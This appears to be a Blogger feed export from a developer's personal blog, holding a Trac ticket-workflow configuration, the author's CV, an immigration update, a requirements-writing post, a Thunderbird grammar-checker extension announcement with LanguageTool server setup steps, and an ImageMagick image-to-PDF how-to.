leave.default = 1
leave.operations = leave_status
reassign = new, in-progress -&amp;gt; new
reassign.operations = set_owner
reassign.permissions = TICKET_MODIFY
reopen = closed -&amp;gt; new
reopen.operations = del_resolution
reopen.permissions = TICKET_CREATE
resolve1 = fixed, verified -&amp;gt; closed
resolve1.name = resolve
resolve1.operations = set_resolution
resolve1.permissions = TICKET_MODIFY
resolve1.set_resolution = Done, Invalid, Duplicate
resolve2 = new -&amp;gt; closed
resolve2.name = resolve
resolve2.operations = set_resolution
resolve2.permissions = TICKET_MODIFY
resolve2.set_resolution = Invalid, Duplicate, WontFix
resolve3 = in-progress -&amp;gt; closed
resolve3.name = resolve
resolve3.operations = set_resolution
resolve3.permissions = TICKET_MODIFY
resolve3.set_resolution = WorksForMe, Invalid, Duplicate, WontFix
setfixed = in-progress -&amp;gt; fixed
setfixed.name = mark as fixed
setfixed.permissions = TICKET_MODIFY
setinprogress = verified, fixed -&amp;gt; in-progress
setinprogress.name = ticket need to be re-worked
setinprogress.permissions = TICKET_MODIFY
setverified = fixed -&amp;gt; verified
setverified.name = mark as verified
setverified.permissions = TICKET_MODIFY
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-1806229818280299366?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/1806229818280299366/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2009/11/trac-ticket-workflow.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/1806229818280299366'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/1806229818280299366'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2009/11/trac-ticket-workflow.html' title='Trac Ticket Workflow'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-3229055026486678908</id><published>2009-11-09T03:28:00.013-08:00</published><updated>2011-07-13T08:34:03.695-07:00</updated><title type='text'>Curriculum Vitae</title><content type='html'>&lt;div style="text-align: right;"&gt;
Alexander Slesarev&lt;br /&gt;
Burnaby, BC, Canada&lt;/div&gt;
&lt;br /&gt;
CONTACTS:&lt;br /&gt;
&lt;br /&gt;
phone: +1-604-716-5085&lt;br /&gt;
email: &lt;a href="mailto:alex.slesarev@gmail.com"&gt;alex.slesarev@gmail.com&lt;/a&gt;&lt;br /&gt;
website: &lt;a href="http://nuald.blogspot.com/"&gt;http://nuald.blogspot.com&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
EXPERIENCE:&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://eellc.ru/"&gt;&lt;b&gt;Elena Engineering&lt;/b&gt;&lt;/a&gt; &lt;br /&gt;
&lt;i&gt;2004 - 2010 &lt;/i&gt;&lt;br /&gt;
Project Manager:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Plan, organize and control the operations of the company&lt;/li&gt;
&lt;li&gt;Develop and implement procedures for computer systems operations and development&lt;/li&gt;
&lt;li&gt;Meet with clients to discuss system requirements, specifications and timelines&lt;/li&gt;
&lt;li&gt; Assemble and manage teams of personnel to design, develop and implement computer software like:&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt; websites and internet services;&lt;/li&gt;
&lt;li&gt; devices management software;&lt;/li&gt;
&lt;li&gt; telecommunication software (videoconferences, IP-telephony, certain devices management)&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt; Recruit and supervise programmers and oversee their professional development and training.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;/ul&gt;
&lt;a href="http://info.khstu.ru/"&gt;&lt;b&gt;Informatization Administration of the Khabarovsk State Technical University&lt;/b&gt;&lt;/a&gt;&lt;i&gt;&amp;nbsp;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;1999 - 2002&lt;/i&gt;&lt;br /&gt;
Engineer:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt; Write, modify and integrate software code (electronic workflow system).&lt;/li&gt;
&lt;li&gt; Maintain existing computer programs by making modifications as required&lt;/li&gt;
&lt;li&gt; Identify and communicate technical problems, processes and solutions&lt;/li&gt;
&lt;li&gt; Prepare reports, manuals and other documentation on the status, operation and maintenance of software&lt;/li&gt;
&lt;li&gt; Assist in the collection and documentation of user's requirements&lt;/li&gt;
&lt;li&gt; Assist in the development of logical and physical specifications&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;a href="http://www.khstu.ru/"&gt;&lt;b&gt;Khabarovsk State Technical University&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;
&lt;i&gt;1998 - 1999&lt;/i&gt;&lt;br /&gt;
Laboratory Assistant:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Identify and communicate technical problems, processes and solutions&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
TECHNICAL SKILLS:&lt;br /&gt;
&lt;br /&gt;
Programming Languages: C/C++, Java, Python, JavaScript, Perl, Ruby, Delphi, Visual Basic, C#, Assembler.&lt;br /&gt;
&lt;br /&gt;
Technologies: networking (TCP/IP, UDP, RTP, SNMP etc), multithreading, interprocessing (RPC like DCOM, CORBA, XML-RPC, webservices) and others.&lt;br /&gt;
&lt;br /&gt;
Databases: PostgreSQL, MySQL, MS SQL, Oracle, Firebird, Lotus Domino (not RDBMS).&lt;br /&gt;
&lt;br /&gt;
Developer Software: Eclipse, Lotus Notes/Domino, Visual Studio 6-2010, NetBeans.&lt;br /&gt;
&lt;br /&gt;
Operation Systems: Windows (3.11 - 7), MacOSX, Linux (RedHat, SUSE, Fedora, Ubuntu, Mandriva), Solaris (SunOS).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-3229055026486678908?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/3229055026486678908/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2009/11/curriculum-vitae.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/3229055026486678908'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/3229055026486678908'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2009/11/curriculum-vitae.html' title='Curriculum Vitae'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-6383685191696168255</id><published>2009-10-16T20:44:00.000-07:00</published><updated>2009-10-16T20:44:06.531-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='immigration'/><category scheme='http://www.blogger.com/atom/ns#' term='canada'/><title type='text'>Moving to Canada</title><content type='html'>I'm going to immigrate to Canada, and the first step is complete – I have received a reference number from the FSW Centralized Intake Office. I had applied as &lt;a href="http://www5.hrsdc.gc.ca/NOC/English/NOC/2006/QuickSearch.aspx?val65=0213"&gt;Computer and Information Systems Manager&lt;/a&gt; due to my job position now (Project Manager) which I hold more than 5 years.&lt;br /&gt;
&lt;br /&gt;
The next challenge is an IELTS exam that I have to pass in the next few weeks.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-6383685191696168255?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/6383685191696168255/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2009/10/moving-to-canada.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/6383685191696168255'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/6383685191696168255'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2009/10/moving-to-canada.html' title='Moving to Canada'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-4062953157272951529</id><published>2009-10-08T19:06:00.003-07:00</published><updated>2009-10-08T19:27:36.832-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='requirements'/><category scheme='http://www.blogger.com/atom/ns#' term='srs'/><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='grammar'/><category scheme='http://www.blogger.com/atom/ns#' term='extension'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='languagetool'/><category scheme='http://www.blogger.com/atom/ns#' term='thunderbird'/><title type='text'>Seven Ws (composing brief software requirements)</title><content type='html'>&lt;div style="text-align: right;"&gt;&lt;i&gt;Quis, quid, quando, ubi, cur, quem ad modum, quibus adminiculis.&lt;/i&gt;&lt;br /&gt;
(Who, what, when, where, why, in what way, by what means) &lt;br /&gt;
&lt;span style="font-size: x-small;"&gt;Hermagoras of Temnos&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
Quotation above is created by Hermagoras for defining seven "circumstances" as a way of the formulating or analyzing rhetorical questions. But it is useful for many other areas, like for composing brief software requirements. Sometimes it's essential for us to analyze the perspective project as fast as possible, without creating tremendous SRS, but merely ask few questions and begin to work. Especially, it relates to Agile Development, and can be easily used as a reference point for starting a project.&lt;br /&gt;
&lt;br /&gt;
Let us interpret these questions to ones of the sample meanings:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;b&gt;Who&lt;/b&gt; will use that project?&lt;/li&gt;
&lt;li&gt;&lt;b&gt;What&lt;/b&gt; kind of software does the project represent?&lt;/li&gt;
&lt;li&gt;&lt;b&gt;When&lt;/b&gt; should the project be delivered to the end users?&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Where&lt;/b&gt; is the project intended to be used?&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Why&lt;/b&gt; would the project be successful?&lt;/li&gt;
&lt;li&gt;&lt;b&gt;In what way&lt;/b&gt; is the project supposed to work?&lt;/li&gt;
&lt;li&gt;&lt;b&gt;By what means&lt;/b&gt; will the project be created?&lt;/li&gt;
&lt;/ul&gt;And let us briefly review how it works in practice for the &lt;a href="http://nuald.blogspot.com/2009/10/thunderbird-grammar-checker-extension.html"&gt;Thunderbird Grammar Checker project&lt;/a&gt; as an example.&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;b&gt;Who?&lt;/b&gt; Peoples who care about their writing style, like businessmen and businesswomen, who write many email messages, and sometimes miss simple grammar errors because of rush.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;What?&lt;/b&gt; It's a plugin for Thunderbird.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;When?&lt;/b&gt; As soon as possible, but the delivery time is not so important due to lack of the commercial profit.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Where?&lt;/b&gt; On all major platforms: Linux, MacOSX, Windows.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Why?&lt;/b&gt; There are no competitive solutions. MS Outlook can be considered, but it lacks certain features like Linux/MacOSX support, OpenPGP compatibility, etc.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;In what way?&lt;/b&gt; Using LanguageTool webserver (at least, for the first releases). In future releases LanguageTool engine can be ported to C++ or JavaScript, thus can be directly used by the project.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;By what means?&lt;/b&gt; XUL/JavaScript like all other plugins are created.&lt;/li&gt;
&lt;/ul&gt;So this can be a start. If you or your client answer these questions, you'll have certain image of the project. Further, this starting point will help you to create required SRS (and &lt;a href="http://eellc.ru/eellc_com/blog/6/"&gt;these question&lt;/a&gt; can be a basis for it). Good luck!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-4062953157272951529?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/4062953157272951529/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2009/10/seven-ws-composing-brief-software.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/4062953157272951529'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/4062953157272951529'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2009/10/seven-ws-composing-brief-software.html' title='Seven Ws (composing brief software requirements)'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-7492291497712396808</id><published>2009-10-07T03:25:00.006-07:00</published><updated>2011-07-23T09:43:27.345-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='grammar'/><category scheme='http://www.blogger.com/atom/ns#' term='extension'/><category scheme='http://www.blogger.com/atom/ns#' term='languagetool'/><category scheme='http://www.blogger.com/atom/ns#' term='thunderbird'/><title type='text'>Thunderbird Grammar Checker extension</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
I have published Thunderbird Grammar Checker extension: &lt;a href="https://addons.mozilla.org/thunderbird/addon/14781"&gt;https://addons.mozilla.org/thunderbird/addon/14781&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Back-end functionality is based on &lt;a href="http://www.languagetool.org/"&gt;LanguageTool&lt;/a&gt; facilities (in particular, the extension uses its webserver). Though it can work without any further customization, it is strongly recommended to setup local LT server (see below), and change the extension settings to correspond with your server. By default, the extension uses the small-scale server, which can't handle enormous load (and of course, it is not so suitable from privacy point of view).&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/_b8spDATDZH0/SsxoyAEILdI/AAAAAAAAAH4/eOOvk3gthoQ/s1600-h/screenshot.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_b8spDATDZH0/SsxoyAEILdI/AAAAAAAAAH4/eOOvk3gthoQ/s400/screenshot.png" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
The grammar checking is available via Tools menu, context menu and toolbar button. Please notice that toolbar button does not appear in the Compose Message window automatically, but must be dragged to toolbar area from Customize Toolbar dialog (View-&amp;gt;Toolbars-&amp;gt;Customize...)&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/_b8spDATDZH0/Ssxo-riNfNI/AAAAAAAAAIA/dzLS2eG4jPw/s1600-h/toolbar.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_b8spDATDZH0/Ssxo-riNfNI/AAAAAAAAAIA/dzLS2eG4jPw/s200/toolbar.png" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Language and server settings can be tuned via the extension preferences:&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/_b8spDATDZH0/SsxpKg8GJgI/AAAAAAAAAII/KaAhMObxjIc/s1600-h/prefs.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_b8spDATDZH0/SsxpKg8GJgI/AAAAAAAAAII/KaAhMObxjIc/s200/prefs.png" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;a href="http://www.languagetool.org/languages/"&gt;Supported languages&lt;/a&gt;: English (en), Dutch (nl), French (fr), German (de), Icelandic (is), Italian (it), Lithuanian (lt), Polish (pl), Romanian (ro), Russian (ru), Slovak (sk), Slovenian (sl), Spanish (es), Swedish (sv), Ukrainian (uk).&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Setting up local LT server&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
The simplest way to start the server is using Java Web Start (requires &lt;a href="http://www.java.com/en/download/manual.jsp"&gt;Java&lt;/a&gt; 6.0 or later). You can download and start the GUI LanguageTool that works in the server mode via browser:&lt;br /&gt;
&lt;a href="http://languagetool.org/webstart/web/LanguageTool.jnlp"&gt;http://languagetool.org/webstart/web/LanguageTool.jnlp&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Or you can start the application from the command line:&lt;br /&gt;
&lt;pre&gt;$ javaws http://www.languagetool.org/webstart/web/LanguageTool.jnlp 
&lt;/pre&gt;
After that the downloading dialog will appear:&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/_b8spDATDZH0/Ssxp6iA6CCI/AAAAAAAAAIQ/nuzP5CsFKoA/s1600-h/jnlp_download.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_b8spDATDZH0/Ssxp6iA6CCI/AAAAAAAAAIQ/nuzP5CsFKoA/s200/jnlp_download.png" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
As soon as everything is downloaded (it takes about 13 Mb to download), you'll be asked for security confirmation:&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/_b8spDATDZH0/SsxqHSEjK1I/AAAAAAAAAIY/3cBBAKnWC9c/s1600-h/jnlp_security.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="152" src="http://3.bp.blogspot.com/_b8spDATDZH0/SsxqHSEjK1I/AAAAAAAAAIY/3cBBAKnWC9c/s200/jnlp_security.png" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Run the application:&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/_b8spDATDZH0/SsxqOq5w_9I/AAAAAAAAAIg/U1TsHmSfq9w/s1600-h/jnlp_app.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_b8spDATDZH0/SsxqOq5w_9I/AAAAAAAAAIg/U1TsHmSfq9w/s200/jnlp_app.png" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Now go to File-&amp;gt;Option and select "Run as server":&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/_b8spDATDZH0/SsxqYUEjS5I/AAAAAAAAAIo/VTQFk5tTMG4/s1600-h/jnlp_options.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_b8spDATDZH0/SsxqYUEjS5I/AAAAAAAAAIo/VTQFk5tTMG4/s200/jnlp_options.png" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Although port field is tiny, you can enter desired value (8081 by default).&lt;br /&gt;
That's all. Now you can minimize the application to the tray, and use its internal webserver. To set up required server settings, use the extension preferences dialog.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Scope of work&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
This is an initial release, and of course there is a lot of work to do. &lt;a href="https://sourceforge.net/tracker/?group_id=281835&amp;amp;atid=1195603"&gt;Main areas&lt;/a&gt;:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Interface Improvements &lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://sourceforge.net/tracker/?func=detail&amp;amp;aid=2873870&amp;amp;group_id=281835&amp;amp;atid=1195603"&gt;Make suitable icons&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://sourceforge.net/tracker/?func=detail&amp;amp;aid=2873884&amp;amp;group_id=281835&amp;amp;atid=1195603"&gt;Add ability to change language from the compose window&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://sourceforge.net/tracker/?func=detail&amp;amp;aid=2873876&amp;amp;group_id=281835&amp;amp;atid=1195603"&gt;Check grammar in the compose window (like spell check)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;Architecture &lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://sourceforge.net/tracker/?func=detail&amp;amp;aid=2873874&amp;amp;group_id=281835&amp;amp;atid=1195603"&gt;Make the extension independent from LT server&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;Settings Issues &lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://sourceforge.net/tracker/?func=detail&amp;amp;aid=2873882&amp;amp;group_id=281835&amp;amp;atid=1195603"&gt;Add validation for options&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;Localization &lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://sourceforge.net/tracker/?func=detail&amp;amp;aid=2873871&amp;amp;group_id=281835&amp;amp;atid=1195603"&gt;Add localization for required languages&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
You can join the development: &lt;a href="https://sourceforge.net/projects/thb-gramchecker/develop"&gt;Thunderbird Grammar Checker on SourceForge.net&lt;/a&gt;&lt;br /&gt;
Just send me patches, and if they are adequate, I'll give you required access level.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Why not MS Outlook&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
There are various reasons why I can't or don't want to use MS Outlook, but the main one – it doesn't have OpenPGP support which I have to use for my business correspondence. Nor Gpg4Win, neither PGP Desktop don't work with GPG as well as required. I tried out many solutions, but decided in favor of writing my own extension for my favorite MUA. I hope you'll enjoy this extension either.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-7492291497712396808?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/7492291497712396808/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2009/10/thunderbird-grammar-checker-extension.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/7492291497712396808'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/7492291497712396808'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2009/10/thunderbird-grammar-checker-extension.html' title='Thunderbird Grammar Checker extension'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_b8spDATDZH0/SsxoyAEILdI/AAAAAAAAAH4/eOOvk3gthoQ/s72-c/screenshot.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-2261907025313132981</id><published>2009-10-05T20:02:00.000-07:00</published><updated>2009-10-05T20:02:20.617-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sql'/><category scheme='http://www.blogger.com/atom/ns#' term='srs'/><category scheme='http://www.blogger.com/atom/ns#' term='django'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='availability'/><title type='text'>New articles</title><content type='html'>I have published several articles on &lt;a href="http://eellc.ru/"&gt;eellc.ru&lt;/a&gt; website. I hope you'll find them useful and interesting:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href="http://eellc.ru/eellc_com/blog/6/"&gt;Software System Requirements Questionnaire&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://eellc.ru/eellc_com/blog/8/"&gt;SQL in large-scale systems&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://eellc.ru/eellc_com/blog/7/"&gt;Architecture of large-scale systems&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://eellc.ru/eellc_com/blog/9/"&gt;Django speed, stability and security&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;The website doesn't allow to post comments, so you can leave your remarks, suggestions and complaints here. Enjoy!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-2261907025313132981?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/2261907025313132981/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2009/10/new-articles.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/2261907025313132981'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/2261907025313132981'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2009/10/new-articles.html' title='New articles'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-2767117983952518618</id><published>2009-07-27T17:48:00.005-07:00</published><updated>2011-05-13T10:53:58.581-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tools'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='design'/><title type='text'>Mini HOWTO: Create a PDF document from multiple images</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
Sometimes it is required to send someone multiple images. Of course, you can send these images as they are, or you can create and send an archive of these images. But it will be more convenient to send a PDF document. In that case the recipient can easily open the document and he/she will see these images in the sequence you assumed.&lt;br /&gt;
&lt;br /&gt;
There is a powerful software suite called &lt;a href="http://www.imagemagick.org/"&gt;ImageMagick&lt;/a&gt;. It provides various utilities for any graphics processing demands. Now we are interested in a &lt;a href="http://www.imagemagick.org/script/convert.php"&gt;convert&lt;/a&gt; utility. It has many useful features and it is really irreplaceable for the image batch-processing like in our case.&lt;br /&gt;
&lt;br /&gt;
The command for converting images is pretty simple:&lt;br /&gt;
&lt;br /&gt;
&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;
$ convert -define pdf:use-cropbox=true -density 72x72 -resample 72x72 -compress JPEG *.png result.pdf
&lt;/div&gt;
&lt;br /&gt;
The &lt;i&gt;convert&lt;/i&gt; utility takes all PNG-images in the current directory and creates a PDF-document from it.&lt;br /&gt;
&lt;br /&gt;
You can modify any options as you want. Let's have a look at some of them:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.imagemagick.org/script/command-line-options.php#density"&gt;density&lt;/a&gt; and &lt;a href="http://www.imagemagick.org/script/command-line-options.php#resample"&gt;resample&lt;/a&gt; - these options are required for changing images resolution. Usually we scan images in a high resolution (for example, 600 dpi), and this resolution is suitable for the further image editing. But it is too high for the simple viewing. So it will be good to decrease the images resolution. At least, it will make a produced PDF document lightweight.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.imagemagick.org/script/command-line-options.php#compress"&gt;compress&lt;/a&gt; - this option is required for compressing images. There are various compression options and JPEG option is suitable for the most cases.&lt;/li&gt;
&lt;/ul&gt;
